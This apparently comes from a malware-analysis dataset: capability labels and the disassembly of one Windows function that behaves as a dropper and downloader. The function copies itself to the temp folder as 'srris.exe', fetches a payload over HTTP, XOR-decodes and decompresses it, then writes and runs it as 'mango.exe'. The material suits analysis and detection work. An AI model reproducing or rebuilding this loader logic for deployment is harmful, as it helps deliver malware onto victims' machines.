Function at 0x401000
Capabilities:
Compress data via winapi
Connect to http server
Create http request
Create process on windows
Delete file
Download and write a file
Encode data using xor
Get common file path
Get file size
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x830
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov ebp, ebx
push ebx
mov dword [esp + 0x2c], ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
push 0x100000
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
push 0x2000
push 8
push ebx
mov dword [esp + 0x2c], ebx
call esi
push 0x2000
push 8
push ebx
mov edi, eax
call esi
push 0x2000
push edi
xor esi, esi
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.srris.exe
push ebx
push 0x40214c
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
jne 0x4010a8
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x830
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push edi
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add esi, 4
lea eax, [esi + eax*2]
push eax
push 8
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x4010de
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push 0
push eax
push ecx
push esi
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40119c
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x10]
mov edx, edi
lea eax, [eax*2 + 2]
push eax
lea ecx, [esi + ecx]
call fcn.004014b7
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
or edx, 0xffffffff
cmp ebp, edx
je 0x40109a
push 0
lea eax, [esp + 0x1c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x18]
add ecx, 4
lea eax, [ecx + eax*2]
push eax
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebp
call esi
push edi
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
xor ebp, ebp
push ebp
push edi
push ebp
push ebx
push str.open
push ebp
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push ebp
jmp 0x4010d8
mov ecx, dword [esi + 0x3c]
push dword [esp + 0x14]
add ecx, esi
movzx eax, word [ecx + 6]
imul eax, eax, 0x28
mov edi, dword [eax + ecx + 0xe4]
add edi, dword [eax + ecx + 0xe0]
add edi, esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
call esi
test eax, eax
jne 0x4011eb
mov ebx, ebp
push 1
push 0x64
inc ebx
call dword [sym.imp.KERNEL32.dll_SleepEx]
cmp ebx, 0xbb8
jg 0x4011eb
push edi
call esi
test eax, eax
je 0x4011d1
push 0
push 0
push 0
push 0
push str.Opera10
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esp + 0x2c], eax
test eax, eax
je 0x40109a
and dword [esp + 0x38], ebp
xor eax, eax
xor ebx, ebx
mov dword [esp + 0x30], str.text_
mov dword [esp + 0x34], str.application_
or edi, 0xffffffff
mov dword [esp + 0x10], eax
inc edi
mov dword [esp + 0x1c], edi
cmp edi, 1
jle 0x401247
push 1
xor edi, edi
push 0xa
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_SleepEx]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401252
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
je 0x40125f
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor ebx, ebx
xor esi, esi
xor eax, eax
push eax
push eax
push 3
push eax
push eax
push 0x50
push dword [edi*4 + 0x4021f8]
push dword [esp + 0x48]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [esp + 0x10], eax
test eax, eax
jne 0x40128c
inc esi
cmp esi, 3
jl 0x401261
jmp 0x401229
xor esi, esi
push 0
push 0x80000000
lea ecx, [esp + 0x38]
push ecx
push 0
push 0
push dword [edi*4 + 0x4021f0]
push 0
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ebx, eax
mov dword [esp + 0x14], ebx
test ebx, ebx
jne 0x4012c7
mov eax, dword [esp + 0x10]
inc esi
cmp esi, 3
jl 0x40128e
jmp 0x401379
xor esi, esi
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x4012e2
inc esi
cmp esi, 2
jl 0x4012c9
mov eax, dword [esp + 0x10]
cmp esi, 2
je 0x401229
test ebp, ebp
jne 0x401312
push 0xdbba0
push 8
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
mov dword [esp + 0x28], ebp
test ebp, ebp
je 0x40109a
and dword [esp + 0x18], 0
mov esi, 0xdbba0
xor ebx, ebx
lea eax, [esp + 0x18]
mov edi, ebp
push eax
push esi
push ebp
push dword [esp + 0x20]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40135b
mov ebp, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
add edi, eax
sub esi, eax
test eax, eax
je 0x401357
lea eax, [esp + 0x18]
push eax
push esi
push edi
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x401339
mov ebp, dword [esp + 0x28]
mov eax, edi
sub eax, ebp
cmp eax, 0x7d0
jg 0x40136c
inc ebx
cmp ebx, 0x14
jl 0x40131e
cmp ebx, 0x14
jne 0x401382
mov ebx, dword [esp + 0x14]
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
jmp 0x401229
sub edi, ebp
mov eax, edi
shl eax, 2
push eax
push 8
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x40109a
mov dword [esp + 0x24], edi
cmp byte [ebp], 0x4d
jne 0x4013b4
cmp byte [ebp + 1], 0x5a
je 0x401434
mov edx, dword [esp + 0x1c]
xor eax, eax
mov ecx, edi
inc eax
shr ecx, 2
mov edx, dword [edx*4 + 0x4021e8]
cmp ecx, eax
jbe 0x4013d4
xor dword [ebp + eax*4], edx
inc eax
cmp eax, ecx
jb 0x4013cb
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40109a
push str.RtlDecompressBuffer
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov dword [section..data], ecx
test ecx, ecx
jne 0x40140d
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x40109a
and dword [esp + 0x24], 0
lea eax, [esp + 0x24]
push eax
lea eax, [edi - 4]
add ebp, 4
push eax
push ebp
mov eax, edi
shl eax, 2
push eax
push ebx
push 0x102
call ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov edi, str.mango.exe
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [esp + 0x40]
push eax
push dword [esp + 0x2c]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
mov ebx, dword [esp + 0x24]
push 0
push ebx
call esi
push ebp
xor ebp, ebp
push ebp
push ebx
call esi
lea eax, [esp + 0x40]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push edi
lea eax, [esp + 0x44]
push eax
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [esp + 0x40]
push ebp
push ebp
push ebp
push eax
jmp 0x40118a